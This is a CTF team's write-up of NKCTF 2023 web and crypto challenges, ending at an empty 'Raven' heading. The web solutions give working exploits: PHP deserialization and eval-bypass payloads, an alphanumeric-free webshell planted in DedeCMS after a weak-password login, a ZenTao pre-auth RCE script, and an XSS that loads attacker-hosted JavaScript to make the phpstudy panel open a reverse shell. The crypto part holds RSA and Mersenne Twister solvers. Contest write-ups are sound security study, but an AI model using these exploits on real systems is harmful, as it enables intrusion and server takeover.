本次 NKCTF 2023,我们Polaris战队排名第4!

排名 队伍 一血 总分
1 想回到过去试着让故事继续至少不再让你离我而去 7 13610
2 Territory 0 13511
3 iBiao 2 13454
4 Polaris 9 13144
5 0psu3 0 12414
6 这次还是一个人么 8 11778
7 W4ntY0u. 0 11458
8 Mini-Venom 0 11104
9 Kap0k 2 11088
10 CNSS 3 10746

WEB

babyphp

<?php
    error_reporting(0);
    class Welcome{
        public $name;
        public $arg = 'oww!man!!';
        public function __construct(){
            $this->name = 'ItS SO CREAZY';
        }
        public function __destruct(){
            if($this->name == 'welcome_to_NKCTF'){
                echo $this->arg;
            }
        }
    }

    function waf($string){
        if(preg_match('/f|l|a|g|\*|\?/i', $string)){
            die("you are bad");
        }
    }
    class Happy{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            waf($cmd);
            eval($shell($cmd));
        }
    }
    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

    if(isset($_GET['p'])){
        unserialize($_GET['p']);
    }else{
        highlight_file(__FILE__);
    }
?>

很基础的反序列化

先dir / 读到文件名是f1ag

唯一要绕的点是如何读f1ag,这里用[!]来替换通配符?

[!q]表示匹配非q的字符

<?php
class Welcome{
    public $name;
    public $arg;
    public function __construct($ar){
        $this->name = 'welcome_to_NKCTF';
        $this->arg = $ar;
    }

}

function waf($string){
    if(preg_match('/f|l|a|g|\*|\?/i', $string)){
        die("you are bad");
    }
}
class Happy{
    public $shell;
    public $cmd;
    public function __construct($sh,$cm){
        $this->shell=$sh;
        $this->cmd=$cm;
    }
    
}
class Hell0{
    public $func;
    public function __construct($fu){
        $this->func = $fu;
    }

}

$s = new Welcome(new Hell0(new Happy('system','sort /[!q]1[!q][!q]')));
echo (serialize($s));

eazyphp

<?php 
    highlight_file(__FILE__);
    error_reporting(0);
    if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])){
        if((string)$_POST['c'] != (string)$_POST['d'] && sha1($_POST['c']) === sha1($_POST['d'])){
            if($_GET['e'] != 114514 && intval($_GET['e']) == 114514){
                if(isset($_GET['NS_CTF.go'])){
                    if(isset($_POST['cmd'])){
                        if(!preg_match('/[0-9a-zA-Z]/i', $_POST['cmd'])){
                            eval($_POST['cmd']);
                        }else{
                            die('error!!!!!!');
                        }
                    }else{
                        die('error!!!!!');
                    }
                }else{
                    die('error!!!!');
                }
            }else{
                die('error!!!');
            }
        }else{
            die('error!!');
        }
    }else{
        die('error!');
    }
?> 

常规的代码审计与绕过,一步一步传参进行绕过

POST /?a[]=1&b[]=2&e=114514.1&NS[CTF.go=1 HTTP/1.1
Host: c8b8278a-9fb7-4941-adc7-3db21383b68b.node.yuzhian.com.cn:8000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1342

c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

hard_php

<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['NKCTF'])) {
    $NK = $_POST['NKCTF'];
    if (is_string($NK)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$NK) && strlen($NK) < 105){
            eval($NK);
        }else{
            echo("hacker!!!");
        }
    }else{
        phpinfo();
    }
}
?>
# 看看有哪些字符没被过滤
string(1) "!"  
string(1) "$"
string(1) "'"
string(1) "("
string(1) ")"
string(1) "+"
string(1) ","
string(1) "."
string(1) "/"
string(1) ";"
string(1) "="
string(1) "["
string(1) "]"
string(1) "_"
# 看phpinfo内容
NKCTF[]=_

看到了disable_functions,过滤的函数有

disable_functions	passthru,exec,system,chroot,scandir,chgrp,chown,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,symlink,popepassthru,stream_socket_server,show_source
    
highlight_file()函数能用

根据CTFshow-RCE极限挑战,调整一下payload,然后是绕过disable_functions

NKCTF=$%ff=(_/_._)[_];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[%ff]($$_[_]);&%ff=highlight_file&_=/flag

‌‌⁣‌‍⁤⁤‌⁤⁡‌‬⁡‍‬‍‌⁡⁤‌⁡‍⁣‬‍⁢‌⁡‬‌CTFshow-RCE极限大挑战官方wp - 飞书云文档 (feishu.cn)

webpagetest

./phpggc Monolog/RCE2 system 'cat /*' -p phar -o /tmp/testinfo.ini
URLENC_PAYLOAD=$(cat /tmp/testinfo.ini | xxd -p | tr -d "\n" | sed "s#..#%&#g")
curl -sSkig 'http://7d9301ef-2e94-477e-867b-dbc7b9d67c19.node1.yuzhian.com.cn/runtest.php' -d 'rkey=gadget' -d "ini=$URLENC_PAYLOAD" -o -
curl -sSkig 'http://7d9301ef-2e94-477e-867b-dbc7b9d67c19.node1.yuzhian.com.cn/runtest.php' -d 'rkey=phar:///var/www/html/results/gadget./testinfo.ini/foo' -d "ini=$URLENC_PAYLOAD" -o -

webpagetest反序列化及ssrf漏洞分析 - 先知社区 (aliyun.com)

ez_pms

看一下禅道的版本,存在前台RCE

<script src='/js/all.js?v=18.0.beta1'></script>

从网上找一个利用脚本直接打

# -*- coding: UTF-8 -*-
# !/usr/bin/python
 
'''
权限绕过+RCE POC 伪静态传参版
禅道系统 影响版本 安全版本
开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
'''
import requests
 
proxies = {
    #"http": "127.0.0.1:8080",
    #"https": "127.0.0.1:8080",
}
def check(url):
    url1 = url+'/misc-captcha-user.html'
    # url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
    # url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
    url3 = url + 'repo-create.html'
    url4 = url + 'repo-edit-10000-10000.html'
    headers={
        "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language":"zh-CN,zh;q=0.9",
        "Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
    }
 
    headers2 = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
        "Content-Type":"application/x-www-form-urlencoded",
        "X-Requested-With":"XMLHttpRequest",
        "Referer":url+"/repo-edit-1-0.html"
    }
 
    data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
    data2 = 'SCM=Subversion&client=`cat /flag|base64 -w 0`'
    s=requests.session()
    try:
        req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)
        req3 = s.post(url3,data=data1,proxies=proxies,timeout=5,verify=False,headers=headers2)
        req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)
        print(req4.text)
    except Exception as e:
        print(e)
    return False
if __name__ == '__main__':
    print(check("http://4a62faad-f1af-400f-bc23-f9c22b50029d.node1.yuzhian.com.cn/"))

easy_cms

/dede目录下进入管理员登录界面,是个弱口令admin,admin直接登录。

进入后台来到文件式管理器这里,发现可以上传和新建文件。新建了一个php文件,系统会匹配你的文件有没有恶意代码,这个有点像php自动审计工具识别漏洞点一样,是一种基于静态代码分析的一种静态审计,于是我们给他上传一个无字母数字webshell上去,就不会被检测到了

在根目录上传如下webshell

<?=$_=[];$__.=$_;$____=$_==$_;$___=~[$____];$___.=~[$____];$___.=~[$____];$___.=~[$____];$___.=~[$____];$___.=~[$____];$_____=_;$_____.=~[$____];$_____.=~[$____];$_____.=~[$____];$_____.=~[$____];$__________=$$_____;$___($__________[~[$____]]);

//post a=cat /f1Aggg;

xiaopi

请求带上请求头,才能出现登录框

X-Requested-With: XMLHttpRequest

登录框插入payload

<script src=http://ip:80/poc.js></script>

vps放置poc.js,然后启动http服务,让目标反弹一个shell回来

function poc(){
    $.get('/service/app/tasks.php?type=task_list',{},function(data){
      var id=data.data[0].ID;
      $.post('/service/app/tasks.php?type=exec_task',{
        tid:id
      },function(res2){
          $.post('/service/app/log.php?type=clearlog',{
              
          },function(res3){},"json");
          
        
      },"json");
    },"json");
  }
  function save(){
    var data=new Object();
    data.task_id="";
    data.title="test";
    data.exec_cycle="1";
    data.week="1";
    data.day="3";
    data.hour="14";
    data.minute = "20";
    data.shell='反弹shell';
    $.post('/service/app/tasks.php?type=save_shell',data,function(res){
      poc();
    },'json');
  }
  save();
  

phpstudy 小皮面板 RCE利用链 - 腾讯云开发者社区-腾讯云 (tencent.com)

Crypto

baby_RSAS

  1. dp泄漏分解P、Q

  2. coppersmith解m

import gmpy2 as gp
from Crypto.Util.number import *

e = 65537
N =  1159977299277711167607914893426674454199208605107323826176606074354449015203832606569051328721360397610665453513201486235549374869954501563523028914285006850687275382822302821825953121223999268058107278346499657597050468069712686559045712946025472616754027552629008516489090871415609098178522863027127254404804829735621706042266140637592206366042515190385496909533329383212542170504864473944657824502882014292528444918055958758310544435120502872883857209880723535754528096143707324179005292445100655695427777453144657819474805882956064292780031599790769618615908501966912635232746588639924772530057835864082951499028
dp =  33967356791272818610254738927769774016289590226681637441101504040121743937150259930712897925893431093938385216227201268238374281750681609796883676743311872905933219290266120756315613501614208779063819499785817502677885240656957036398336462000771885589364702443157120609506628895933862241269347200444629283263
n =  114101396033690088275999670914803472451228154227614098210572767821433470213124900655723605426526569384342101959232900145334500170690603208327913698128445002527020347955300595384752458477749198178791196660625870659540794807018881780680683388008090434114437818447523471527878292741702348454486217652394664664641

for a in range(1, e+1):
    if (dp*e-1) % a == 0:
        if N % ((dp*e-1) // a + 1) == 0:  # ! 关键,易漏.要求n被p整除
            P = (dp*e-1) // a + 1
            Q = N // P
            print('P =', P)
            print('Q =', Q)
            break
    else:
        a += 1

PR.<m> = PolynomialRing(Zmod(n))
f = P*Q-m^2-m*(P-m+Q-m)
f = f.monic()
m = f.small_roots(X=2^400, beta=0.4)
print(m)
flag1 = long_to_bytes(int(m[0]))
print(flag1)  
# NKCTF{Th1S_a_babyRSA_y0u_are_tql!!!}

ez_math

  • 找到合适数据求出Kphi
  • Kphi当phi解出明文m
import gmpy2
import libnum

e = 0x10001
n = 369520637995317866367336688225182965061898803879373674073832046072914710171302486913303917853881549637806426191970292829598855375370563396182543413674021955181862907847280705741114636854238746612618069619482248639049407507041667720977392421249242597197448360531895206645794505182208390084734779667749657408715621
c = 324131338592233305486487416176106472248153652884280898177125443926549710357763331715045582842045967830200123100144721322509500306940560917086108978796500145618443920020112366546853892387011738997522207752873944151628204886591075864677988865335625452099668804529484866900390927644093597772065285222172136374562043

A = 141997416965295486849546892322458652502850390670128808480582247784728456230996812361056958004801816363393016360646922983916999235770803618904474553309200419301820603229504955218189709387942156848904968053547462302189568831762401075340100029630332409419313772378068180267756675141584884876543484516408660699471038
B = 163378867981477210016607618217525067516899896304907822758749135410592905658324027908854458465871295591148114728316034699358213461728042658497873130073105697195541220650688132150216266657024774867846925219967805863946774978900772828496605795631400777090954141000078238226487076065753781167791598816872139973922682

assert pow(6, 2*B, n) == pow(6, A, n)
assert 2*B != A

C = 156359509651684605051402965560382969488421316701585527115005130492947292379802933549188085059602557600903593831240316597311439285149968787780538126741092612405335349622445040578126369183536683733294143156965518222696624206221060030916594302284630706642066420353822195108928341123726471513256217857861184609387726
D = 170559914324671769117535654836487226009685359320636182075960576764702323732727088502920021993271666209903403463612731506055433486417625242935904916789051793747298593847158174830184596554822038310041512771676833824200302666130102306284852931958549925702330464987955245647072909056824574486147965487598401928881026
assert pow(7, 2*D, n) == pow(7, C, n)
assert 2*D != C
Kphi = gmpy2.gcd(2*B-A, 2*D-C)
d = gmpy2.invert(e, Kphi)
m = int(pow(c,d,n))
print(libnum.n2s(m))
# NKCTF{d15cr373_L0g_15_R3DuC710n_f0R_f4C70r1nG}

ezRSA

  1. 已知phi分解n,常规rsa求解flag1
  2. 通过m1确定m2比特位,最后用baby_RSA的coppersmith解法再解一次m2

已知phi分解n

from math import gcd
from math import isqrt
from random import randrange
from gmpy2 import is_prime
# from sage.all import is_prime


def factorize(N, phi):
    """
    Recovers the prime factors from a modulus if Euler's totient is known.
    This method only works for a modulus consisting of 2 primes!
    :param N: the modulus
    :param phi: Euler's totient, the order of the multiplicative group modulo N
    :return: a tuple containing the prime factors, or None if the factors were not found
    """
    s = N + 1 - phi
    d = s ** 2 - 4 * N
    p = int(s - isqrt(d)) // 2
    q = int(s + isqrt(d)) // 2
    return p, q


def factorize_multi_prime(N, phi):
    """
    Recovers the prime factors from a modulus if Euler's totient is known.
    This method works for a modulus consisting of any number of primes, but is considerably be slower than factorize.
    More information: Hinek M. J., Low M. K., Teske E., "On Some Attacks on Multi-prime RSA" (Section 3)
    :param N: the modulus
    :param phi: Euler's totient, the order of the multiplicative group modulo N
    :return: a tuple containing the prime factors
    """
    prime_factors = set()
    factors = [N]
    while len(factors) > 0:
        # Element to factorize.
        N = factors[0]

        w = randrange(2, N - 1)
        i = 1
        while phi % (2 ** i) == 0:
            sqrt_1 = pow(w, phi // (2 ** i), N)
            if sqrt_1 > 1 and sqrt_1 != N - 1:
                # We can remove the element to factorize now, because we have a factorization.
                factors = factors[1:]

                p = gcd(N, sqrt_1 + 1)
                q = N // p

                if is_prime(p):
                    prime_factors.add(p)
                elif p > 1:
                    factors.append(p)

                if is_prime(q):
                    prime_factors.add(q)
                elif q > 1:
                    factors.append(q)

                # Continue in the outer loop
                break

            i += 1

    return tuple(prime_factors)
if __name__ =='__main__':
    n = 8836130216343708623415307573630337110573363595188748983290313549413242332143945452914800845282478216810685733227137911630239808895196748125078747600505626165666334675100147790578546682128517668100858766784733351894480181877144793496927464058323582165412552970999921215333509253052644024478417393146000490808639363681195799826541558906527985336104761974023394438549055804234997654701266967731137282297623426318212701157416397999108259257077847307874122736921265599854976855949680133804464839768470200425669609996841568545945133611190979810786943246285103031363790663362165522662820344917056587244701635831061853354597
    phi = 8836130216343708623415307573630337110573363595188748983290313549413242332143945452914800845282478216810685733227137911630239808895196748125078747600505622503351461565956106005118029537938273153581675065762015952483687057805462728186901563990429998916382820576211887477098611684072561849314986341226981300596338314989867731725668312057134075244816223120038573374383949718714549930261073576391501671722900294331289082826058292599838631513746370889828026039555245672195833927609280773258978856664434349221972568651378808050580665443131001632395175205804045958846124475183825589672204752895252723130454951830966138888560
    fac = factorize_multi_prime(n, phi)
    print(fac)

import gmpy2
import libnum


n = 8836130216343708623415307573630337110573363595188748983290313549413242332143945452914800845282478216810685733227137911630239808895196748125078747600505626165666334675100147790578546682128517668100858766784733351894480181877144793496927464058323582165412552970999921215333509253052644024478417393146000490808639363681195799826541558906527985336104761974023394438549055804234997654701266967731137282297623426318212701157416397999108259257077847307874122736921265599854976855949680133804464839768470200425669609996841568545945133611190979810786943246285103031363790663362165522662820344917056587244701635831061853354597
phi = 8836130216343708623415307573630337110573363595188748983290313549413242332143945452914800845282478216810685733227137911630239808895196748125078747600505622503351461565956106005118029537938273153581675065762015952483687057805462728186901563990429998916382820576211887477098611684072561849314986341226981300596338314989867731725668312057134075244816223120038573374383949718714549930261073576391501671722900294331289082826058292599838631513746370889828026039555245672195833927609280773258978856664434349221972568651378808050580665443131001632395175205804045958846124475183825589672204752895252723130454951830966138888560
e = 65537
c1 = 78327207863361017953496121356221173288422862370301396867341957979087627011991738176024643637029313969241151622985226595093079857523487726626882109114134910056673489916408854152274726721451884257677533593174371742411008169082367666168983943358876017521749198218529804830864940274185360506199116451280975188409

prime_list = [10278918289612367146046409135513725291319742611325451529622387426552790672650542777172769017399682768083823848127693717878822223823002122605741847534168871, 8420341711111386139826589531912136886697864041156239432418101990860951057225344962981814097328105109563572968937589482777359728076364540186966659710593563, 9422949623669587592195284918343137628924288670457557164230168847803264549856927866278221296107887154859174132983372562130946621134855520373823156469022523, 10834231423967940002221004300639472879422266804796466209639481015717927053785699849888626682293072249949761634253205413288361321778947376683555990557548843]
prime_list = sorted(prime_list)
p,q,r,t = prime_list[0],prime_list[3],prime_list[1],prime_list[2]
d1 = gmpy2.invert(e, phi)
m1 = int(pow(c1, d1, p*q))
flag1 = libnum.n2s(m1)

# part 2
N = 157202814866563156513184271957553223260772141845129283711146204376449001653397810781717934720804041916333174673656579086498762693983380365527400604554663873045166444369504886603233275868192688995284322277504050322927511160583280269073338415758019142878016084536129741435221345599028001581385308324407324725353
c2 = 63355788175487221030596314921407476078592001060627033831694843409637965350474955727383434406640075122932939559532216639739294413008164038257338675094324172634789610307227365830016457714456293397466445820352804725466971828172010276387616894829328491068298742711984800900411277550023220538443014162710037992032
c3 = 9266334096866207047544089419994475379619964393206968260875878305040712629590906330073542575719856965053269812924808810766674072615270535207284077081944428011398767330973702305174973148018082513467080087706443512285098600431136743009829009567065760786940706627087366702015319792328141978938111501345426931078
n = N
P = c2
Q = c3
        
PR.<m> = PolynomialRing(Zmod(n))
f = P*Q-m^2-m*(P-m+Q-m)
f = f.monic()
m = f.small_roots(X=2^(len(flag1)*2*8), beta=0.7)

flag2 = libnum.n2s(int(m[0]))
print(flag1+flag2)
# b'NKCTF{it_i5_e45y_th4t_Kn0wn_phi_4nd_N_dec0mp0ses_N_w1th_th3_s4m3_c0mm0n_n_but_pq}'

real_MT

import gmpy2
from pwn import *
from extend_mt19937_predictor import ExtendMT19937Predictor

context.log_level = 'debug'


# right shift inverse
def inverse_right(res, shift, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift
    return tmp


# left shift with mask inverse
def inverse_left_mask(res, shift, mask, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp << shift & mask
    return tmp


def recover(y):
    y = inverse_right(y, 18)
    y = inverse_left_mask(y, 15, 4022730752)
    y = inverse_left_mask(y, 7, 2636928640)
    y = inverse_right(y, 11)
    return y & 0xffffffff


def attack1(list1):
    predictor = ExtendMT19937Predictor()
    for i in range(208):
        predictor.setrandbits(list1[i], 96)
    return predictor.predict_getrandbits(96)


def attack2(list1):
    predictor = ExtendMT19937Predictor()
    for i in range(627):
        predictor.setrandbits(list1[i], 32)
    for i in range(627):
        predictor.backtrack_getrandbits(32)
    x = predictor.backtrack_getrandbits(96)
    return x


def attack3(last):
    n = 1 << 32
    inv = gmpy2.invert(1812433253, n)
    for i in range(623, 0, -1):
        last = ((last - i) * inv) % n
        last = inverse_right(last, 30)
    return last


def attack4(y):
    return recover(y)


# :
sh = remote('node.yuzhian.com.cn', 38574)
sh.recvuntil(b'Press Enter to start...')
sh.sendline()
for i in range(20):
    sh.recvline_contains(b'Round:')
    data = sh.recvuntil(b':')
    if b'Guess after number:' in data:
        data.replace(b'Guess after number:', b'')
        data = eval(data.split(b'randoms = ')[-1].split(b'\n')[0])
        ans = attack1(data)
    elif b'Guess pre number:' in data:
        data.replace(b'Guess pre number:', b'')
        data = eval(data.split(b'randoms = ')[-1].split(b'\n')[0])
        ans = attack2(data)
    elif b'Guess seed number:' in data:
        data.replace(b'Guess seed number:', b'')
        data = eval(data.split(b'last number = ')[-1].split(b'\n')[0])
        ans = attack3(data)
    else:
        data.replace(b'Guess be extracted number:', b'')
        data = eval(data.split(b'extract number = ')[-1].split(b'\n')[0])
        ans = attack4(data)
    sh.sendline(str(ans).encode())
    sh.recvline()  # Good job!
sh.interactive()
# NKCTF{73e1d7d9-29f5-4a9c-a4a8-0350faf4cb76}

fake_MT

import gmpy2
from pwn import *
from extend_mt19937_predictor import ExtendMT19937Predictor

context.log_level = 'debug'


# right shift inverse
def inverse_right(res, shift, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift
    return tmp


# left shift with mask inverse
def inverse_left_mask(res, shift, mask, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp << shift & mask
    return tmp


def recover(y):
    y = inverse_right(y, 18)
    y = inverse_left_mask(y, 15, 4022730752)
    y = inverse_left_mask(y, 7, 2636928640)
    y = inverse_right(y, 11)
    return y & 0xffffffff


def attack1(list1):
    predictor = ExtendMT19937Predictor()
    for i in range(208):
        predictor.setrandbits(list1[i], 96)
    return predictor.predict_getrandbits(96)


def attack2(list1):
    predictor = ExtendMT19937Predictor()
    for i in range(627):
        predictor.setrandbits(list1[i], 32)
    for i in range(627):
        predictor.backtrack_getrandbits(32)
    x = predictor.backtrack_getrandbits(96)
    return x


def attack3(last):
    n = 1 << 32
    inv = gmpy2.invert(1812433253, n)
    for i in range(623, 0, -1):
        last = ((last - i) * inv) % n
        last = inverse_right(last, 30)
    return last


def attack4(y):
    return recover(y)

sh = remote('node.yuzhian.com.cn', 35467)

for i in range(20):
    sh.recvline_contains(b'Round:')
    data = sh.recvuntil(b':')
    if b'Guess after number:' in data:
        data = data.replace(b'L', b'')
        data = eval(data.split(b'randoms = ')[-1].split(b'\n')[0])
        print(data)
        ans = attack1(data)

    elif b'Guess pre number:' in data:
        data = data.replace(b'L', b'')
        data = eval(data.split(b'randoms = ')[-1].split(b'\n')[0])
        print(data)
        ans = attack2(data)
    elif b'Guess seed number:' in data:
        data = data.replace(b'L', b'')
        data = eval(data.split(b'last number = ')[-1].split(b'\n')[0])
        print(data)
        ans = attack3(data)
    else:
        data = data.replace(b'L', b'')
        data = eval(data.split(b'extract number = ')[-1].split(b'\n')[0])
        print(data)
        ans = attack4(data)
    sh.sendline(str(ans).encode())
    sh.recvline()  # Good job!
sh.interactive()
# NKCTF{55d825f1-8bc1-421d-850f-2af971731b5d}

ez_polynomial

import gmpy2, libnum
p = 40031
S.<x> = PolynomialRing(GF(p))
y = x
N=24096*y^93 + 38785*y^92 + 17489*y^91 + 9067*y^90 + 1034*y^89 + 6534*y^88 + 35818*y^87 + 22046*y^86 + 12887*y^85 + 445*y^84 + 26322*y^83 + 37045*y^82 + 4486*y^81 + 3503*y^80 + 1184*y^79 + 38471*y^78 + 8012*y^77 + 36561*y^76 + 19429*y^75 + 35227*y^74 + 10813*y^73 + 26341*y^72 + 29474*y^71 + 2059*y^70 + 16068*y^69 + 31597*y^68 + 14685*y^67 + 9266*y^66 + 31019*y^65 + 6171*y^64 + 385*y^63 + 28986*y^62 + 9912*y^61 + 10632*y^60 + 33741*y^59 + 12634*y^58 + 21179*y^57 + 35548*y^56 + 17894*y^55 + 7152*y^54 + 9440*y^53 + 4004*y^52 + 2600*y^51 + 12281*y^50 + 22*y^49 + 17314*y^48 + 32694*y^47 + 7693*y^46 + 6567*y^45 + 19897*y^44 + 27329*y^43 + 8799*y^42 + 36348*y^41 + 33963*y^40 + 23730*y^39 + 27685*y^38 + 29037*y^37 + 14622*y^36 + 29608*y^35 + 39588*y^34 + 23294*y^33 + 757*y^32 + 20140*y^31 + 19511*y^30 + 1469*y^29 + 3898*y^28 + 6630*y^27 + 19610*y^26 + 11631*y^25 + 7188*y^24 + 11683*y^23 + 35611*y^22 + 37286*y^21 + 32139*y^20 + 20296*y^19 + 36426*y^18 + 25340*y^17 + 36204*y^16 + 37787*y^15 + 31256*y^14 + 505*y^13 + 27508*y^12 + 20885*y^11 + 32037*y^10 + 31236*y^9 + 7929*y^8 + 27195*y^7 + 28980*y^6 + 11863*y^5 + 16025*y^4 + 16389*y^3 + 570*y^2 + 36547*y + 10451
C=3552*x^92 + 6082*x^91 + 25295*x^90 + 35988*x^89 + 26052*x^88 + 16987*x^87 + 12854*x^86 + 25117*x^85 + 25800*x^84 + 30297*x^83 + 5589*x^82 + 23233*x^81 + 14449*x^80 + 4712*x^79 + 35719*x^78 + 1696*x^77 + 35653*x^76 + 13995*x^75 + 13715*x^74 + 4578*x^73 + 37366*x^72 + 25260*x^71 + 28865*x^70 + 36120*x^69 + 7047*x^68 + 10497*x^67 + 19160*x^66 + 17939*x^65 + 14850*x^64 + 6705*x^63 + 17805*x^62 + 30083*x^61 + 2400*x^60 + 10685*x^59 + 15272*x^58 + 2225*x^57 + 13194*x^56 + 14251*x^55 + 31016*x^54 + 10189*x^53 + 35040*x^52 + 7042*x^51 + 29206*x^50 + 39363*x^49 + 32608*x^48 + 38614*x^47 + 5528*x^46 + 20119*x^45 + 13439*x^44 + 25468*x^43 + 30056*x^42 + 19720*x^41 + 21808*x^40 + 3712*x^39 + 25243*x^38 + 10606*x^37 + 16247*x^36 + 36106*x^35 + 17287*x^34 + 36276*x^33 + 1407*x^32 + 28839*x^31 + 8459*x^30 + 38863*x^29 + 435*x^28 + 913*x^27 + 36619*x^26 + 15572*x^25 + 9363*x^24 + 36837*x^23 + 17925*x^22 + 38567*x^21 + 38709*x^20 + 13582*x^19 + 35038*x^18 + 31121*x^17 + 8933*x^16 + 1666*x^15 + 21940*x^14 + 25585*x^13 + 840*x^12 + 21938*x^11 + 20143*x^10 + 28507*x^9 + 5947*x^8 + 20289*x^7 + 32196*x^6 + 924*x^5 + 370*x^4 + 14849*x^3 + 10780*x^2 + 14035*x + 15327
e = 65537
roots = factor(N)
P = roots[0][0]
Q = roots[1][0]
PHI = (p^P.degree()-1)*(p^Q.degree()-1)
D = int(gmpy2.invert(e, PHI))
M = pow(C,D,N)
print(M)
hint = ''.join([chr(i) for i in M])
print(hint)
# NKCTF{We_HaV3_n0th1ng_But_dr3amS}

eZ_Bl⊕ck

r加密和flag加密后的“格式“是一致的,所以两者对应分段异或能消去key

在不具体推理其余变量的情况下,可以直接尝试异或所有可能分段,即解

from Crypto.Util.strxor import strxor as xor

r = b"t\xf7\xaa\xac\x9d\x88\xa4\x8b\x1f+pA\x84\xacHg'\x07{\xcc\x06\xc4i\xdd)\xda\xc9\xad\xa9\xe8\x1fi"
enc1 = b"'{<z}\x91\xda\xc5\xd5S\x8b\xfa\x9f~]J\x0f\xf4\x9a\x1e\xe0\xef\x129N\xe7a\x928+\xe0\xee"
enc2 = b'8\x1f"\x83B4\x86)\xce\xebq3\x06\xa0w\x16U\x04M/w\xa1\x8f;)M\xdd~\x11:\xe3\xb3'
t1 = xor(enc2[:16], enc1[:16])
t2 = xor(enc2[16:], enc1[16:])
r1 = r[:16]
r2 = r[16:]
# print(xor(t1, r1))
# print(xor(t2, r1))

print(xor(t1, r2))  # this
flag1 = xor(t1, r2)
# print(xor(t2, r2))

# print(xor(xor(t1, r1), r2))
# print(xor(xor(t2, r1), r2))

# print(xor(t2, r1))
# print(xor(t2, r2))
# print(xor(xor(t2, r1), r2))
tt = xor(t2, flag1)
# print(xor(tt, r1))
# print(xor(tt, r2))
print(xor(xor(tt, r1), r2))  #  this
flag2 = xor(xor(tt, r1), r2)
print(flag2+flag1)  # 改为UUID格式
# NKCTF{1ccd5cee-c96d-4caf-8ce5-9a512b3d0655}

Raven

